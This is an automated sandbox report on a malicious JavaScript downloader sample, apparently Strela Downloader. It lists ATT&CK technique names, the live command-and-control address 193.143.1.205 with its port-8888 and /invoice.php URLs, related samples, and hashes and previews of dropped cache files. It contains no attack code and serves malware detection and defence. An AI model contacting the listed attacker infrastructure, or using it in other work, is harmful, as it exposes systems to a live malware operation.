Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
251443863021115246.js	3%	Virustotal		Browse
251443863021115246.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/s	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2630609429.0000019FA70A1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1411563772.000001E9B088C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1396081748.000001E9B08AD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1411501269.000001E9B0858000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1399896307.000001E9B088C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1411563772.000001E9B08AF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/s	net.exe, 00000007.00000002.1411501269.000001E9B0858000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1400511261.0000019FA7200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587799
Start date and time:	2025-01-10 18:05:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	251443863021115246.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 3.233.129.217, 52.6.155.20, 52.22.41.97, 3.219.243.226, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 23.204.152.213, 23.204.152.210, 13.107.246.45, 54.224.241.105, 20.109.210.53, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:06:25	API Interceptor	25x Sleep call for process: powershell.exe modified
12:06:30	API Interceptor	1x Sleep call for process: net.exe modified
12:06:30	API Interceptor	2x Sleep call for process: svchost.exe modified
12:06:38	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	wN7EPNiHSM.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	http://infarmbureau.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	zAK7HHniGW.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
	lExtvSjBgq.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Axvn7Hegxc.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	tx4pkcHL9o.exe	Get hash	malicious	MassLogger RAT	Browse	13.107.246.45
bg.microsoft.map.fastly.net	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	VsTfsPVrfA.exe	Get hash	malicious	FormBook	Browse	199.232.214.172
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	647915480318827205.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47011380785516565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2649727971102843099.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21646213161445014123.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807574867429994
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9R:0J7adfWuK0p/QDfKoPeuP0aN4fqoxu
MD5:	509185CE7B613749CC68762280BF1C71
SHA1:	20E1E8D0A3ACE3DD5473B3E642BAA8495196D39B
SHA-256:	376A136AFF085FAB9321976D325148EABECEA273A54DD7566C78DE4852DFA0D3
SHA-512:	C0993AB58C3B1012A58259C68775F83F4C48577C994C9F8B5C4AF87B1981BC7DBA21AD670C577E119CB35F616F7C5ED49880941CF7D582E819C6287C5CD5E73A
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x829f0514, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.788038719716936
Encrypted:	false
SSDEEP:	1536:3SB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:3azaPv4V4fXq2UaB
MD5:	2678EF785472CE3794316C31298FF66B
SHA1:	E5A862E4C5643C3613947BBC8888E8157D422A5C
SHA-256:	2F99FD425B250DF12D97C0B1F7953B964AB7CC0B6D7F48DF006E6FA40D8860C2
SHA-512:	82353351A65A1F0413EC4B0B77A1EE51EE4C271D0CA4C4BF50F25725DF94F950C15BD2C7B0DD6E38F8FD27F1288D88893995590F4757B2B23820563FB4EB5CE4
Malicious:	false
Preview:	....... ...............X\...;...{......................X............{.......}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{....................................>.....}.:.........................}y..........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08082154834173028
Encrypted:	false
SSDEEP:	3:dll/KYeNhndvemXlVG0+q2Iqe8lj3IjYcntillNTt/4ll/Q6beV/:l/KzNxsUGE8lTyhtGHtc6V
MD5:	A50C8ED13704FC3AC37520E32971FA37
SHA1:	65890EA9F29488EF012E3203C464CF3BD9002DF4
SHA-256:	A14406AC356FF0A99AAD16977847975C5B24802227B0FD4AF94F0F081F1446F4
SHA-512:	1F757E78210509482BAF8B483C03ECF51160190C3EDDDE5BDE461779D9931899966E33F2C32CF3A9D1FC3D8CB8ADF583B407830855D92CBEEE5DFE9ABF115C37
Malicious:	false
Preview:	.........................................;...{.......}y......{...............{.......{....:......{..........................}y.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.119017376840912
Encrypted:	false
SSDEEP:	6:iO4vfS6MSQWM+q2PFi2nKuAl9OmbnIFUtSvfSGSG1ZmwsvfSGSQWMVkwOFi2nKui:7EfDfQ+vdZHAahFUtaf5SG1/4f5SQV5J
MD5:	266FAFA100D6266CB9BB19B50A3ACFC3
SHA1:	134CEE71D67B81AA2A8AC3F2447BDC49D2E5FB78
SHA-256:	61D04856D25E4A22014A244F2C7EB43E90B0F60975B9B5CDB6971C0198CD67E7
SHA-512:	B44F725A103F1E77E010DFC5BAE276E95C4977203A723496B15346EF7D0A1CB003240B1E742A0E70D17C0D26C7FBFDF7963A6F70799FD423ED02F793EEBC91B5
Malicious:	false
Preview:	2025/01/10-12:06:30.208 19ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:06:30.210 19ac Recovering log #3.2025/01/10-12:06:30.210 19ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.119017376840912
Encrypted:	false
SSDEEP:	6:iO4vfS6MSQWM+q2PFi2nKuAl9OmbnIFUtSvfSGSG1ZmwsvfSGSQWMVkwOFi2nKui:7EfDfQ+vdZHAahFUtaf5SG1/4f5SQV5J
MD5:	266FAFA100D6266CB9BB19B50A3ACFC3
SHA1:	134CEE71D67B81AA2A8AC3F2447BDC49D2E5FB78
SHA-256:	61D04856D25E4A22014A244F2C7EB43E90B0F60975B9B5CDB6971C0198CD67E7
SHA-512:	B44F725A103F1E77E010DFC5BAE276E95C4977203A723496B15346EF7D0A1CB003240B1E742A0E70D17C0D26C7FBFDF7963A6F70799FD423ED02F793EEBC91B5
Malicious:	false
Preview:	2025/01/10-12:06:30.208 19ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:06:30.210 19ac Recovering log #3.2025/01/10-12:06:30.210 19ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1042982971233
Encrypted:	false
SSDEEP:	6:iO4vfS2syq2PFi2nKuAl9Ombzo2jMGIFUtSvfS2ns1ZmwsvfS2n6RkwOFi2nKuAv:7EfxBvdZHAa8uFUtafxs1/4fxe5wZHAv
MD5:	CBB2DCA835A764777A0B9BC218F33937
SHA1:	83C06CE57796C80D7F903A598CF5B1490C0115E0
SHA-256:	7FC0353A3969210D0629F5757D414C6FA15868A448A9BFF6696771C1E3AC3313
SHA-512:	35D572F1A028539084A9A89D553F487ED7F436A386EB72767F6002B0CE73A7C6B99ADCA4F395B28B0D0D6134E59ED4A1A2FAE9330B69311C7F09F970A0E88120
Malicious:	false
Preview:	2025/01/10-12:06:30.303 1430 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:06:30.305 1430 Recovering log #3.2025/01/10-12:06:30.305 1430 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1042982971233
Encrypted:	false
SSDEEP:	6:iO4vfS2syq2PFi2nKuAl9Ombzo2jMGIFUtSvfS2ns1ZmwsvfS2n6RkwOFi2nKuAv:7EfxBvdZHAa8uFUtafxs1/4fxe5wZHAv
MD5:	CBB2DCA835A764777A0B9BC218F33937
SHA1:	83C06CE57796C80D7F903A598CF5B1490C0115E0
SHA-256:	7FC0353A3969210D0629F5757D414C6FA15868A448A9BFF6696771C1E3AC3313
SHA-512:	35D572F1A028539084A9A89D553F487ED7F436A386EB72767F6002B0CE73A7C6B99ADCA4F395B28B0D0D6134E59ED4A1A2FAE9330B69311C7F09F970A0E88120
Malicious:	false
Preview:	2025/01/10-12:06:30.303 1430 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:06:30.305 1430 Recovering log #3.2025/01/10-12:06:30.305 1430 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4T3y:Y2sRds5TdMH43QYhbd7nby
MD5:	92393B2950B190A8D86D8063E042FF44
SHA1:	1CCCB8490A2C6A4B24F8F2FE259B4E8FFD6EE80C
SHA-256:	FEF28D76D356DAC81622F3642879C186660531CB94E3C5439CBEB0B7921DD0F0
SHA-512:	31919EA08B810DF178F5931E6475237866D2F4038F31B46DDC4E61D0F134C25308185F744F3B40882AFCD927B3D1D91A76F3E0CE5E31DC53107F501BA36B0293
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF673c87.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4T3y:Y2sRds5TdMH43QYhbd7nby
MD5:	92393B2950B190A8D86D8063E042FF44
SHA1:	1CCCB8490A2C6A4B24F8F2FE259B4E8FFD6EE80C
SHA-256:	FEF28D76D356DAC81622F3642879C186660531CB94E3C5439CBEB0B7921DD0F0
SHA-512:	31919EA08B810DF178F5931E6475237866D2F4038F31B46DDC4E61D0F134C25308185F744F3B40882AFCD927B3D1D91A76F3E0CE5E31DC53107F501BA36B0293
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\be7f1340-d6f1-41e9-9276-7406122c7887.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4T3y:Y2sRds5TdMH43QYhbd7nby
MD5:	92393B2950B190A8D86D8063E042FF44
SHA1:	1CCCB8490A2C6A4B24F8F2FE259B4E8FFD6EE80C
SHA-256:	FEF28D76D356DAC81622F3642879C186660531CB94E3C5439CBEB0B7921DD0F0
SHA-512:	31919EA08B810DF178F5931E6475237866D2F4038F31B46DDC4E61D0F134C25308185F744F3B40882AFCD927B3D1D91A76F3E0CE5E31DC53107F501BA36B0293
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ff0c091f-f83a-43bb-b51d-caf6608f015b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.968131375694273
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqesBdOg2HBWAAcaq3QYiubpP7E4T3y:Y2sRdsGdMHgAr3QYhbd7nby
MD5:	E4538984C1553269A1BCE938A487C033
SHA1:	9E85B68A853AF8E75889FC839918E43B36F6F358
SHA-256:	3256F2A1ED33DE99588666D1172CC2D951E6BDC84FD50A011C0427C3BBBE6B66
SHA-512:	E15E820D419D528CE88DD37220A2E867623BE0CE72E9663752543C286EAA3BCDBC6608AEBB44FC1CE6EA650ECDBAD9FA9C84606E65DBEAD3696B204157A4D660
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381088802057938","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138271},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.228693061448102
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVTEmll:wshFT0h7cZb2EVKZPEANcGIK5EVTEmv
MD5:	D6A44C873380CA0AA95EB1595BB0C07F
SHA1:	3157FAD112C370D76B450536C9DE8688E2060F68
SHA-256:	A36B7636D3A684A6866041450CDBC6FE075BCEF3B5554837EF71496BFFD34A03
SHA-512:	7E163E8F765A7D30159AB6DDC847932076AB12336B876C8B0C9D8F64CDCE7D1EDE6FA37CDD11CFA285BD8D87877021F17FA81FC97549104132588B750158184D
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.159156563821712
Encrypted:	false
SSDEEP:	6:iO4vfSTyq2PFi2nKuAl9OmbzNMxIFUtSvfSkMq1ZmwsvfSkBWVjRkwOFi2nKuAlG:7Ef5vdZHAa8jFUtaf71/4f9SF5wZHAab
MD5:	50DD24D523676070D183DB6AB3A96462
SHA1:	78000342B2AC5FD91FCD4689E62A780BA8B7E478
SHA-256:	C35ECE90963E65535EF1F9FC2EEBB556AC880710353D4F114233AEF879C37D47
SHA-512:	2DF084F9F8580D3EFC98F5F969B595699C253BE24FE6B333BC756766E95115525BEFD742675C2457DA3FFB427F1C750DB3D0D1BB8C2A80CB0EFF4CA3C6DCA35D
Malicious:	false
Preview:	2025/01/10-12:06:30.756 1430 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:06:30.760 1430 Recovering log #3.2025/01/10-12:06:30.763 1430 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.159156563821712
Encrypted:	false
SSDEEP:	6:iO4vfSTyq2PFi2nKuAl9OmbzNMxIFUtSvfSkMq1ZmwsvfSkBWVjRkwOFi2nKuAlG:7Ef5vdZHAa8jFUtaf71/4f9SF5wZHAab
MD5:	50DD24D523676070D183DB6AB3A96462
SHA1:	78000342B2AC5FD91FCD4689E62A780BA8B7E478
SHA-256:	C35ECE90963E65535EF1F9FC2EEBB556AC880710353D4F114233AEF879C37D47
SHA-512:	2DF084F9F8580D3EFC98F5F969B595699C253BE24FE6B333BC756766E95115525BEFD742675C2457DA3FFB427F1C750DB3D0D1BB8C2A80CB0EFF4CA3C6DCA35D
Malicious:	false
Preview:	2025/01/10-12:06:30.756 1430 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:06:30.760 1430 Recovering log #3.2025/01/10-12:06:30.763 1430 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438589590773072
Encrypted:	false
SSDEEP:	384:Cezci5GqiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:cKurVgazUpUTTGt
MD5:	7EF4192EC90A41ECFC4641BCEF8DB3AA
SHA1:	F0DA18FC8F855C978C8583FE8C0E9890C2BC3FF5
SHA-256:	98A861CA3E2E4FB21AF8533FD9BA9F93AAEB2EC7B98438E20A3384E523EBF0C4
SHA-512:	9E62BCCC1F12048B620B328DC2494E2DA7CBD1C2E67D1176B7552AFE4F97F40C8DF107F31AEA930018FB2BC78EF432430F659FEF6CEB5017E0861B44D46B5C09
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

